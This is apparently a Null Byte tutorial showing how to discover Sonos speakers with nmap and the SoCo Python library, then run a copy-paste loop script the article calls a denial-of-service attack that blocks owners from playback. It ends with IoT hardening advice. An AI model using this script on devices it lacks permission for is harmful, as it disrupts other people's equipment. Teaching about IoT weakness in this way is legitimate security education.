How to Take Control of Sonos IoT Devices with Python « Null Byte :: WonderHowTo

Many popular IoT devices have terrible security. For instance, a hacker who's on the same Wi-Fi network as aSonos speakercan assume direct control over the device's behavior. If an IoT device doesn't secure the messages used to control it over a network, it's easy for somebody to write a few Python scripts to make it do whatever they want.Why IoT Devices Aren't Always SecureInternet of things devices are low-cost, internet-connected pieces of hardware which often straddle the line between a great idea and completely unnecessary. The trend of putting a Wi-Fi card in objects which are made only marginally more useful, if at all, by connecting them to the internet, means that many different manufacturers are baking in their own version of security into these devices.Many of these Wi-Fi-enabled products, likelight bulbs,thermostats, andspeakers, have become mainstream products, trickling down to reach even the least tech-savvy of users. Because of how widespread the adoption of IoT devices has been, the belief among IoT device manufacturers is that their gear must be, above all, easy to use, which means lax security.Don't Miss:Use One Python Command to Bypass Antivirus SoftwareThe majority of IoT devices use poorly secured APIs that assume that if you are allowed on the same local Wi-Fi network as the device, you must have permission to be interacting with it. As a result, many IoT devices allow anyone on the local Wi-Fi network to control them with the right commands, without ever asking a user for a password or login of any kind.SoCo, SoCos & API Libraries for IoT DevicesSome of the most popular types of IoT devices areSonos connected speakers, which allow anyone on the local network to control them through a mobile or desktop application. Because of how widespread and easy-to-control Sonos speakers are, they make a perfect example to examine how we can influence them.Unlike mobile applications communicating with remote servers, running the Sonos app on your phone or desktop sends commands directly to the Sonos on your home network. Because these commands can be sent by anyone, not just the Sonos app, we can make application calls from a Python program if we know the API that the Sonos device uses.Don't Miss:Python Scripting for the Aspiring HackerLuckily for hackers, the API for many standard IoT devices are well known and documented unofficially. The Sonos API has even been turned into a library for Python! The SoCo and SoCos libraries allow a Python programmer to discover and issue commands to Sonos devices on a local network, either via a command-line interface or via a Python script written in an IDE.To show how this works, we'll analyze the waySonos devicescan be controlled o build a denial-of-service script to disable any Sonos system on the network.Designing Your Own Behaviors with PythonUsing the SoCo (Sonos Controller) library for Python, we can start to look at what kind of behaviors we would want to script in an IoT device. While we could change the song repeatedly to a classic anthem of intense sensual power like "Never Gonna Give You Up," this behavior would immediately tip off everyone nearby that someone was messing with the speaker. Instead, reviewing the available commands to us, it seems like a denial-of-service attack would be trivially easy to perform.A denial-of-service attack aims to simply break the way a device usually works to deny other people the ability to use it. In a Wi-Fi DoS attack, we would kick everyone off the network repeatedly to prevent anyone from using the internet. In this attack, we'll be locating any Sonos devices on the network, and then sending them the "Stop playing" command over and over, making it impossible to use the Sonos speaker from the normal application.What You'll NeedTo get started, you'll need a Sonos device on your network that you have permission to connect to. While the point of this article is that simply being connected to the same network as the device gives you permission to mess with it, doing so could get you in trouble if the owner doesn't approve of what you're doing.Good Test Device:1st Gen Sonos One Smart SpeakerNext, you'll need a Python IDE to write your code. IDEs are helpful because they let us work on our code in an optimized environment and give us a lot of feedback about what's happening with our code along the way. I recommendPyCharm, especially if you're a student, as they give free licenses of their professional product to students.Once you've set up PyCharm, make sure your computer has Python installed. The best way to do this is to go to a terminal window, typepython3, and pressreturn. If you get a command prompt, you have Python3, and you're ready to begin. If you don't, you may need to download Python3 before continuingfrom the official website.Don't Miss:Building a Simple Hacking Tool in PythonStep 1: Start a New Python ProjectOnce you have PyCharm download, open the file, and follow the installation steps to set it up. If you already have it set up, just open the PyCharm application. The first time you open PyCharm, you should see a screen like this:Click "Create New Project," then name the project something memorable if you want. Click on "Create" to open a new project window.Within the new project window, we'll need to start a new Python file. Right-click on the project screen on the left side, then select the "New" drop-down menu. From that menu, select "Python File" to create a blank Python file. Name it something you'll remember.There we go! We should now have a Python file open and ready to run. To make sure your Python is working, you can go ahead and throw a simple script into it. Paste the following into the text editor, right-click in the Project area, then click "Run."for i in range (20):
    print("It works!")It should produce a result like the one below.If you see the script working, you're ready to move on to installing the SoCo library.Step 2: Install the SoCos LibraryThere are two different ways of controlling a Sonos device on the network. The first we'll explore is SoCos, which is the command-line version of SoCo. To install SoCos, go to a terminal window, and type the following.~# pip install socos

Collecting socos
  Downloading https://files.pythonhosted.org/packages/74/0e/4ebdb27435fd23b105f01e2b9b7b42050cd20e1d0e59d02e7ac8a3c8e0df/socos-0.2-py2.py3-none-any.whl
Collecting soco==0.11.1
  Downloading https://files.pythonhosted.org/packages/8e/01/34d3e9577cf6ef0bbcb7cdc44140f0e672dae4a5e11d45d7692f3f6ab979/soco-0.11.1-py2.py3-none-any.whl (81kB)
     |████████████████████████████████| 81kB 584kB/s
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from soco==0.11.1->socos) (2.21.0)
Installing collected packages: soco, socos
Successfully installed soco-0.11.1 socos-0.2
WARNING: You are using pip version 19.3.1; however, version 20.0.2 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.This should install the command-line version of Socos. To use it, go ahead and runsocosin your terminal window. When in thesocostool, typehelpto see what's available.~# socos
socos> help

Available commands:
 * list         List available devices
 * partymode    Put all the speakers in the same group, a.k.a Party Mode.
 * info         Information about a speaker
 * play         Start playing
 * pause        Pause
 * stop         Stop
 * next         Play the next track
 * previous     Play the previous track
 * mode         Change or show the play mode of a device
 * current      Show the current track
 * queue        Show the current queue
 * remove       Remove track from queue by index
 * volume       Change or show the volume of a device
 * bass         Change or show the bass value of a device
 * treble       Change or show the treble value of a device
 * state        Get the current state of a device / group
 * tracks       Public convenience method for `_search_and_play`
 * albums       Public convenience method for `_search_and_play`
 * artists      Public convenience method for `_search_and_play`
 * playlists    Public convenience method for `_search_and_play`
 * sonos_playlists Public convenience method for `_search_and_play`
 * exit         Exit socos
 * set          Set the current speaker for the shell session by ip or speaker
 * unset        Resets the current speaker for the shell session
 * help         Print a list of commands with short descriptionAbove, we can see that we have commands available for locating devices on the network, playing them, stopping them, and doing a variety of other useful things from the command line. If simply controlling your Sonos from the command line is what interests you, then you can stop here and play around with SoCos for a while before moving on.For our purposes, we'll move on to installing SoCo in PyCharm so that we can start scripting behaviors, rather than relying on a command prompt.Step 3: Install the SoCo LibraryIn PyCharm, look at the bottom of the window to find the "Terminal" icon at the bottom. Click it, and it will open up a terminal prompt in the bottom of you PyCharm screen, allowing you to install libraries for PyCharm to use.Once this window is open, you can typepip install socoto install the SoCo library to PyCharm. You can type the same command in a system terminal window to install the library to your system overall.~# pip install soco

Requirement already satisfied: soco in /Users/skickar/venv/lib/python3.6/site-packages
Requirement already satisfied: xmltodict in /Users/skickar/venv/lib/python3.6/site-packages (from soco)
Requirement already satisfied: requests in /Users/skickar/venv/lib/python3.6/site-packages (from soco)
Requirement already satisfied: idna<2.8,>=2.5 in /Users/skickar/venv/lib/python3.6/site-packages (from soco)
Requirement already satisfied: urllib3<1.24,>=1.21.1 in /Users/skickar/venv/lib/python3.6/site-packages (from soco)
Requirement already satisfied: certifi>=2017.4.17 in /Users/skickar/venv/lib/python3.6/site-packages (from soco)
Requirement already satisfied: chardet<3.1.0,>=3.0.2 in /Users/skickar/venv/lib/python3.6/site-packages (from soco)
You are using pip version 9.0.1, however version 18.1 is available
You should consider upgrading via the 'pip install --upgrade pip' commandOnce PyCharm confirms that SoCo is installed, we can get started writing our first script for the Sonos!Step 4: Locate a Device on the NetworkNow that we have SoCo set up in PyCharm, let's write the first part of our script. To learn about the way SoCo can interact with Sonos speakers, we can refer to thedocumentation page for the project.In the documentation, we see that there are a few commands for discovering Sonos devices on the network. The most useful one is to grab all Sonos devices using thesoco.discover()function. The function will put the information needed to control the Sonos device into a variable called "devices.">>> import soco
>>> devices = soco.discover()
>>> devices
set(SoCo("192.168.0.10"), SoCo("192.168.0.30"), SoCo("192.168.0.17"))
>>> device = devices.pop()
>>> device
SoCo("192.168.0.16")Now that we can target any Sonos devices on the network, let's try an API call.Step 5: Try Out an API CallNext, we'll actually get the Sonos device to do something using our Python code. In PyCharm, let's make any Sonos devices we've detected do something. Referring to the documentation, there are a number of things we can do.The normal play, pause and stop functionality is provided with similarly named methods (play(), pause() and stop()) on the SoCo instance and the current state is included in the output of get_current_transport_info():—SoCo DocsFor our purposes, we'll be using thestop()function. By repeating this function directed at all Sonos devices we detect, we'll essentially be creating a denial-of-service attack.Step 6: Write a Python ScriptNow, to create our Python code, we'll need to import the SoCo library. Next, we'll need to detect any Sonos devices on the network and dump them into a variable called "device."import soco
device = soco.discovery.any_soco()Next, we'll need to test to see if we got a result, and use awhileloop to define what to do. We'll check to see if the variable "device" contains anything. If it does, we'll send thestopcommand. If it's empty, we'll say "No device found."while len(str(device)) != 0:
    print("Denial of Service Attack in progress on: ", device)
    device.stop()
else:
    print("No device found.")This simple code should do everything we need, so the only thing we need to do next is test it out, and see if we can connect to and control a Sonos device. Below is the 7 lines together that you can easily copy and paste.import soco
device = soco.discovery.any_soco()
while len(str(device)) != 0:
    print("Denial of Service Attack in progress on: ", device)
    device.stop()
else:
    print("No device found.")Step 7: Find Sonos Devices with Ports OpenTo discover a Sonos device outside of SoCos, we can run anNmapscan with the following ports specified to search the network. Sonos devices will have ports 1400, 1420, and 1443 open, so to detect them, we'll scan for these.You'll need to find the IP address range for your network, which you can do by takingyour IP addressand typing it after the commandipcalcin a terminal window.~# ipcalc 172.16.42.61

Address:   172.16.42.61         10101100.00010000.00101010. 00111101
Netmask:   255.255.255.0 = 24   11111111.11111111.11111111. 00000000
Wildcard:  0.0.0.255            00000000.00000000.00000000. 11111111
=>
Network:   172.16.42.0/24       10101100.00010000.00101010. 00000000
HostMin:   172.16.42.1          10101100.00010000.00101010. 00000001
HostMax:   172.16.42.254        10101100.00010000.00101010. 11111110
Broadcast: 172.16.42.255        10101100.00010000.00101010. 11111111
Hosts/Net: 254                   Class B, Private InternetOnce you know your network range, you can run the following command to scan for Sonos devices on the same network.~# nmap -p 1400, 1420, 1443 172.16.42.0/24If you see devices that say these ports are open, then you should be ready to continue to the next step. However, there might be a lot of devices with those open ports from different manufacturers, but you can whittle the results down to just Sonos devices using thegrepcommand. Make sureSonosis capitalized as that's how it will likely be listed on the scan.~# nmap -p 1400, 1420, 1443 172.16.42.0/24 | grep 'Sonos'

MAC Address: 94:9F:3E:f$:04:3C (Sonos)
MAC Address: 94:9F:3E:F5:96:0A (Sonos)Step 8: Assume Direct Control of the DeviceBack in PyCharm, it's time to try our Python script. Press the green play button in the top menu to run our Python script. If nothing happens, right-click the project window, select "Run," then the name of your project. Sometimes, PyCharm will try to run the wrong project, so make sure it's the right one.If the script succeeds, you should hear an immediate stop to any music playing and see an output like the one below stating the IP address of the Sonos device being affected.Other users will not be able to regain control of the device from the mobile or desktop app due to the intensity of the stop commands being sent to the device. Until you stop the loop, the device will continue to stop any playback, rendering the Sonos useless. This sort of attack can be modified to perform any creative action you could want, even doing things like changing the song when a specific device joins the network.Keeping Your IoT Devices SafeIt's important to remember that IoT devices are increasingly designed for convenience, not security. This can be frustrating for anyone wanting to keep their devices safe, but there are a few ways you can still take device security into your own hands.Be careful who you give access to your Wi-Fi network. This gives them access to every device on your network, some of which may not have the best security set up. You should also never set up IoT devices on an open network.Don't Miss:Use Beginner Python to Build a Brute-Force Tool for SHA-1 HashesInstead, consider setting up a guest network that does not allow devices to connect. Restricting guests to their own subnet on a Wi-Fi network prevents them from communicating with anything else on the network, eliminating the problem of guests on the Wi-Fi interacting with the Sonos.In general, you should be careful when connecting new devices to a network before you fully understand how they work. Because most IoT devices don't check too hard to see who is controlling them, they're frequently a target of malware and other types of abuse. You can do your part by making sure to connect IoT devices in a way that doesn't allow random outsiders to configure or access them.I hope you enjoyed this guide to controlling IoT devices with Python API calls! If you have any questions about this tutorial on IoT security or if you have a comment, feel free to ask it below or reach out to me on Twitter@KodyKinzie.Don't Miss:VPN Your IoT & Media Devices with a Raspberry Pi PIA RoutertrafficWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Hijack Chromecasts with CATT to Display Images, Messages, Videos, Sites & MoreHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Detect Bluetooth Low Energy Devices in Realtime with Blue HydraHow To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHow To:Learn Everything You'll Ever Need to Know About IoTHow To:Become an IoT Master with This eBook + Video BundleHow To:Seize Control of a Router with RouterSploitHow To:The Novice Guide to Teaching Yourself How to Program (Learning Resources Included)News:Zappar Extends AR Services to EVRYTHNG IoT PlatformNews:DAQRI Begins Shipping Its Ruggedized, Yet Portable AR Smartglasses WorldwideHow To:Log Wi-Fi Probe Requests from Smartphones & Laptops with ProbemonDeveloper Spotlight:AfterNow's Creative Approach to UX Design & IoT in Mixed RealityHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow to Train Your Python:Part 5, Intro to Control Flow and BooleansMarket Reality:Boeing HorizonX Takes Flight with AR InvestmentHow To:Introduction to the C.H.I.P by Next Thing Co - IoT Hacking Device?How To:Use UFONetHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 3 (Building an FTP Password Cracker)News:Mirai Botnet Source Release Threatens Increased DDoS Attacks from Smart Home DevicesHow to Train Your Python:Part 1, IntroductionNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ TransceiverNews:Learning Python 3.x as I go (Last Updated 6/72012)Pygame:All You Need to Start Making Games in PythonNews:Ball PythonsHow To:Send SMS Messages with PythonHow To:Make a Gmail Notifier in PythonHow To:Make a Change-of-IP Notifier in PythonHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorNews:Monty Python's World Cup - In case you haven't seen itHow To:Generate Word-Lists with Python for Dictionary AttacksPet Portrait Challenge:FranklinNews:Learn to Code in Python, Part One: Variables, Input and OutputNews:Get the Perfect Cup of Java with a DIY Linux-Powered Coffee RoasterCommunity Byte:Coding a Web-Based Password Cracker in PythonWeekend Homework:How to Become a Null Byte ContributorGoodnight Byte:Coding a Web-Based Password Cracker in PythonWeekend Homework:How to Become a Null Byte Contributor (1/29/2012)How To:Code Your Own Twitter Client in Python Using OAuth